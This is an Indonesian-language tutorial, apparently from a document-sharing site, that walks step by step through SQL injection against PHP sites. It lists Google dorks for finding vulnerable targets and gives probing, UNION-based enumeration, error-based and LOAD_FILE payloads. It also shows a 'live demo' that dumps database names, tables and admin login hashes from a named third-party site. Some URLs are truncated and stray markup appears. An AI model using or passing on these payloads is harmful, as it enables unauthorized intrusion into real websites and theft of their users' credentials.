Anda di halaman 1dari 11

Pengertian SQL Dan Contoh Penerapan Nya

I. Pengertian

Sedikit penjelasan, apakah yang dimaksud dengan SQL injection..?? SQL injection adalah
serangan yang memanfaatkan kelalaian dari website yang mengijinkan user untuk
menginputkan data tertentu tanpa melakukan filter terhadap malicious character. Inputan
tersebut biasanya di masukan pada box search atau bagian-bagian tertentu dari website yang
berinteraksi dengan database SQL dari situs tersebut. Perintah yang dimasukan para attacker
biasanya adalah sebuah data yang mengandung link tertentu yang mengarahkan para korban ke
website khusus yang digunakan para attacker untuk

mengambil data pribadi korban.

Untuk menghindari link berbahaya dari website yang telah terinfeksi

serangan SQL injection, Anda dapat menggunakan aplikasi tambahan seperti NoScript yang
merupakan Add-ons untuk aplikasi web browser Firefox. Meskipun tidak terlalu sempurna,
setidaknya Anda dapat mengurangi kemungkinan Anda menjadi korban.

2. bagaimana kita menemukan website yang vuln (kali ini saya menggunakan Google)?

dalam Google terdapat banyak sekali kata kunci untuk menemukan website yang vuln

ada beberapa contoh kata kunci untuk menemukan website yang vuln :

inurl:content.php?id=

inurl:index.php?id=

inurl:main.php?id=

inurl:streampage.php?id=

inurl:base.php?id=

inurl:content.php?id=

inurl:catalog.php?id=

inurl:view.php?id=

inurl:detail.php?id=
inurl:page.php?id=

3. mencari vuln

contoh , Google memberikan kita link :

situs.com/index.php?id=1

memulai pencarian vuln di parameter ID

a. situs.com/index.php?id=1+and+1=1 (true dan true = true)

jika keluar halaman seperti id=1, mungkin itu merupakan vuln website

situs.com/index.php?id=1+and+1=2 (true dan true = false)

jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu
mengandung vulnerable

b. situs.com/index.php?id=1'+and+'1'='1 (true dan true = true)

situs.com/index.php?id=1'+and+'1'='2 (true dan false = false)

c. situs.com/index.php?id=1"+and+"1"="1 (true dan true = true)

situs.com/index.php?id=1"+and+"1"="2 (true dan false = false)

d. situs.com/index.php?id=1+order+by+1--+

situs.com/index.php?id=1+order+by+1000+--+

jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu
mengandung vulnerable

e. situs.com/index.php?id=1

situs.com/index.php?id=2-1
f. situs.com/index.php?id=1

situs.com/index.php?id=1*1

g. situs.com/index.php?id=

jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu
mengandung vulnerable

h. mysite.com/index.php?id=1'

jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu
mengandung vulnerable

i. mysite.com/index.php?id=1malingsial

"Unknown column '1malingsial' in 'where clause" <--- span="" vuln="">

j. situs.com/index.php?id=1)/*

k. situs.com/index.php?id=1')--+

l. situs.com/index.php?id=1"/*

m. situs.com/index.php?id=1))—+

website yang vuln tidak hanya pada query ini aja "index.php?id=1:

situs.com/index.php/id/6/

situs.com/index.HTM?id=1

kenapa ditemukan error atau redirect????

okee agar dapat dimengerti, anda harus mempunyai kemampuan dalam pemrograman PHP dan
MySql

disini saya akan menulis script PHP yang simple dengan vulnerable
$q = "SELECT id,info FROM mytable WHERE id=".$id;

$r = mysql_query($q);

$result = mysql_fetch_row($r);

echo "myid ".$result[0]."

info".$result[1];

ketika saya menulis id=1 and 1 = 1:

$q = "SELECT id,info FROM mytable WHERE id=1 and 1=1";

$r = mysql_query($q);

$result = mysql_fetch_row($r);

echo "myid ".$result[0]."

info".$result[1];

dapat dilihat tidak ada error karna id = 1.

bila saya menulis id=1 and 1 = 2:


$q = "SELECT id,info FROM mytable WHERE id=1 and 1=2";

$r = mysql_query($q);

$result = mysql_fetch_row($r);

echo "myid ".$result[0]."

info".$result[1];

akan keluar error karena 1<>2.

jika saya menulis:

$q = "SELECT id,info FROM mytable WHERE id=".intval($id);

$r = mysql_query($q);

$result = mysql_fetch_row($r);

echo "myid ".$result[0]."

info".$result[1];

atau

$q = "SELECT id,info FROM mytable WHERE id=' ".addslashes($id)." ' "; //without spaces
$r = mysql_query($q);

$result = mysql_fetch_row($r);

echo "myid ".$result[0]."

info".$result[1];

jika anda mengetikan id=1+and+1=2 maka akan diterima id=1 atau jika anda mengetikan 1'
maka akan menerima 1 juga.

itu berarti anda dapat menjebol website tersebut dengan metode SQL-Injection.

4. Mencari nomor kolom. dalam hal ini ada 2 untuk mencari nomor kolom:

a. situs.com/index.php?id=1+and+1=2+UNION+SELECT+1+--+

situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+--+

situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+—+

apakah jumlahnya lebih tinggi sedangkan anda tidak melihat angka..? (mungkin terdapat dalam
source code)

b. menggunakan perintah " order by" (digunakan untuk mengurutkan kolom berdasarkan angka).

situs.com/index.php?id=1+order+by+1+--+ (tidak ada error)

situs.com/index.php?id=1+order+by+1000+--+ (bila disini keluar error berarti didalam query


tidak mempunyai 1000 kolom)

situs.com/index.php?id=1+order+by+50+--+
...

jika tidak keluar error, contoh, kita anda mengetikan order+by+10, dan keluar error ketika anda
mengetikan order+by+11+--+ berarti query tersebut hanya mempunyai 10 kolom.

jika anda menemukan nomor kolom (dalam hal ini 10) maka perintah yang harus diketikan :

situs.com/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10+—+

atau

situs.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10+—+ 1+and+1=2 (true dan


true=false) sama dengan id=-1 dan 1+and+1=1 (true dan true=true) sama dengan id=1

5. mengeluarkan database sekarang kita akan mengeluarkan database

dalam hal ini saya sertakan dengan Live Demo:

http://www.ewpa-majs...ECT+1,2,3,4+--+

4 tabel, nomor kolom: 3

tapi sebelum itu, kita harus mencari database, user dan versi MySqlnya.

Berikut contoh pencarian database, user dan versi MySqlnya.

http://www.ewpa-majs...concat(version(),0x3a,database(),0x3a,user()),4+--+

0x3a - adalah konversi hex dari " : ".

anda juga dapat menggunakan syntax tanpa ():

version()=@@version
user()=CURRENT_USER

database : ewpa_majster01

user : ewpa_majster01@127.0.0.1

versi My SQL: 5.0.51a-24+lenny2+spu1-log

kemudian kita harus menemukan semua databasenya:

Berikut Syntax yang digunakan :

group_concat(schema_name) + from + information_schema.schemata

Berikut Contoh Pengeluaran Databasenya:

http://www.ewpa-majs...cat(schema_name),4+from+information_schema.schemata+--+

seperti yang kita liat ada 2 database : information_schema,ewpa_majster01

kemudian kita melanjutkan dengan mengeluarkan nama tabelnya:

berikut syntax yang digunakan :

group_concat(table_name) from information_schema.tables

Berikut contoh pengeluaran nama tabelnya :

http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+--+

karna cukup banyak nama tabelnya jadi saya tidak menulisnya disini...

karna kita tidak memerlukan tabel yang dari database "information_schema":

berikut syntax yang digunakan :

group_concat(table_name) from information_schema.tables + where +


table_schema<>information_schema
Berikut Contoh pengeluaran nama tabel tanpa tabel dari database "information_schema" :

http://www.ewpa-
majs...ncat(table_name),4+from+information_schema.tables+where+table_schema<>0x696e66
6f726d6174696f6e5f736368656d61+--+

696e666f726d6174696f6e5f736368656d61 = hasil konversi hex dari "information_schema"

tapi anda juga bisa mencoba ini:

http://www.ewpa-
majs...ncat(table_name),4+from+information_schema.tables+where+table_schema=database()
+--+

kemudian kita harus menemukan kolomnya (dalam contoh saya mengambil tabel ewpa_user):

Berikut Syntax yang digunakan :

group_concat(column_name) + from + information_schema.columns + where +


table_name=0xHEXDARINAMATABEL

Berikut contoh mengeluarkan kolom dari tabel :

http://www.ewpa-
majs...cat(column_name),4+from+information_schema.columns+where+table_name=0x657770
615f75736572+—+

657770615f75736572 = hasil konversi hex dari tabel "ewpa_user"

daftar kolom-kolom : id,login,pass

Kemudian Langkah Selanjutnya adalah mengeluarkan seluruh isi kolom yang ada di dalam tabel

Berikut Syntax yang digunakan :

group_concat(nama kolom,[0x3a],nama kolom...) +from+nama tabel

Berikut contoh mengeluarkan seluruh isi kolom dari tabel :


http://www.ewpa-majs...login,0x3a,pass),4+from+ewpa_user+—+

Hasilnya : ID=1 login=admin pass=646224a5..., ID=2 login=dyalcom pass=098f6b...

jika anda ingin mengeluarkan hanya 1 per 1 isi kolom saja, gunakan syntax : LIMIT
[row],columns_count:

Berikut contohnya :

http://www.ewpa-majs...a+LIMIT+0,4+--+ http://www.ewpa-majs...a+LIMIT+1,4+--+
http://www.ewpa-majs...a+LIMIT+2,4+—+

Jika Keluar Error : "Illegal mix of collations" anda harus menggunakan perintah unhex(hex())
(contoh : unhex(hex(database())))

melihat password r00t:

berikut syntax yang digunakan :

situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE('etc/passwd'),4+—+

atau

situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4+—+

contoh : http://www.webnewshu...32f706173737764),3+--+&rcid=2

jika anda mempunya password r00t anda bisa melakukan apapun diserver itu.. (contoh
menggunakan program telnet)

6. 2 query jika anda menginject website dengan 2 query anda tidak perlu menemukan nomor
kolom lagi, karna akan keluar error :

Berikut Contoh Syntax yang digunakan untuk double query :


situs.com/index.php?id=(SELECT+*+FROM(SELECT+*+FROM(SELECT+NAME_CONST(user(),14)
a)+as+t+JOIN+(SE LECT+NAME_CONST(user(),14)a)b)c)

>v5.0.12

NAME_CONST(nama,value)

Bagaimana Query ini bekerja..?

gabungkan query kiri ke query kanan dengan satu nama kolom.

Sekian Sedikit Penjelasan Saya Tentang "Pengertian SQL Injection & Cara
Mengimplementasikannya" ....

Saya Mr.R Bakal Kembali Lagi Dengan Pembahasan Sql Injection Manual :D

Untuk yg mau Request materi tentang sql injection manual silakan tinggalkan jejak kalian :D

Soo You could be a psychologist without you having to be a psychology student, just like being a
programmer without him being a student in a university. It's not just a dream for you, all you can
only by reading. Trus me, Reading will make dreams come true

Saya Mr.R amit :D

Anda mungkin juga menyukai